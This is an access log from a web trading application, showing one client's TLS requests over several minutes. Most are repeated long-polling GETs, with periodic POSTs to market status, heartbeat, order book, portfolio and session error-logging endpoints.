[09/Jan/2026:16:05:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946184664 HTTP/1.1" -
[09/Jan/2026:16:05:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946189688 HTTP/1.1" -
[09/Jan/2026:16:05:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946194728 HTTP/1.1" -
[09/Jan/2026:16:05:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:05:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:05:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946199762 HTTP/1.1" -
[09/Jan/2026:16:05:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946204787 HTTP/1.1" -
[09/Jan/2026:16:05:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:05:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:05:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946209813 HTTP/1.1" -
[09/Jan/2026:16:05:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:05:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1921
[09/Jan/2026:16:05:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:05:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946214833 HTTP/1.1" -
[09/Jan/2026:16:05:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946219860 HTTP/1.1" -
[09/Jan/2026:16:05:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:05:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:16:05:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1876
[09/Jan/2026:16:05:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946224888 HTTP/1.1" -
[09/Jan/2026:16:05:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:05:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:06:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946229911 HTTP/1.1" -
[09/Jan/2026:16:06:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946234933 HTTP/1.1" -
[09/Jan/2026:16:06:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:06:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:06:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946239970 HTTP/1.1" -
[09/Jan/2026:16:06:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946244996 HTTP/1.1" -
[09/Jan/2026:16:06:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946250040 HTTP/1.1" -
[09/Jan/2026:16:06:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946255078 HTTP/1.1" -
[09/Jan/2026:16:06:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:06:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:06:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946260099 HTTP/1.1" -
[09/Jan/2026:16:06:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946265118 HTTP/1.1" -
[09/Jan/2026:16:06:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:06:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:06:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946270159 HTTP/1.1" -
[09/Jan/2026:16:06:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946275180 HTTP/1.1" -
[09/Jan/2026:16:06:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946280210 HTTP/1.1" -
[09/Jan/2026:16:06:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946285250 HTTP/1.1" -
[09/Jan/2026:16:06:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:07:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:07:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946290287 HTTP/1.1" -
[09/Jan/2026:16:07:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946295316 HTTP/1.1" -
[09/Jan/2026:16:07:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:07:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:07:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946300361 HTTP/1.1" -
[09/Jan/2026:16:07:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946305386 HTTP/1.1" -
[09/Jan/2026:16:07:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946310431 HTTP/1.1" -
[09/Jan/2026:16:07:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946315469 HTTP/1.1" -
[09/Jan/2026:16:07:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:07:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:07:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946320499 HTTP/1.1" -
[09/Jan/2026:16:07:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946325527 HTTP/1.1" -
[09/Jan/2026:16:07:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:07:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:07:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946330566 HTTP/1.1" -
[09/Jan/2026:16:07:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946335601 HTTP/1.1" -
[09/Jan/2026:16:07:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946340639 HTTP/1.1" -
[09/Jan/2026:16:07:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946345685 HTTP/1.1" -
[09/Jan/2026:16:08:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:08:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:08:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946350723 HTTP/1.1" -
[09/Jan/2026:16:08:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946355750 HTTP/1.1" -
[09/Jan/2026:16:08:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:08:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:08:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946360791 HTTP/1.1" -
[09/Jan/2026:16:08:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946365818 HTTP/1.1" -
[09/Jan/2026:16:08:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946370863 HTTP/1.1" -
[09/Jan/2026:16:08:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946375907 HTTP/1.1" -
[09/Jan/2026:16:08:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:08:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:08:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946380925 HTTP/1.1" -
[09/Jan/2026:16:08:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946385953 HTTP/1.1" -
[09/Jan/2026:16:08:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:08:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:08:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946390990 HTTP/1.1" -
[09/Jan/2026:16:08:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946396014 HTTP/1.1" -
[09/Jan/2026:16:08:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946401043 HTTP/1.1" -
[09/Jan/2026:16:08:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946406089 HTTP/1.1" -
[09/Jan/2026:16:09:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:09:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:09:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946411130 HTTP/1.1" -
[09/Jan/2026:16:09:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946416147 HTTP/1.1" -
[09/Jan/2026:16:09:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:09:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:09:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946421187 HTTP/1.1" -
[09/Jan/2026:16:09:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946426208 HTTP/1.1" -
[09/Jan/2026:16:09:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946431235 HTTP/1.1" -
[09/Jan/2026:16:09:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946436281 HTTP/1.1" -
[09/Jan/2026:16:09:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:09:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:16:09:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946441320 HTTP/1.1" -
[09/Jan/2026:16:09:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946446352 HTTP/1.1" -
[09/Jan/2026:16:09:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:16:09:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:16:09:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767946451395 HTTP/1.1" -
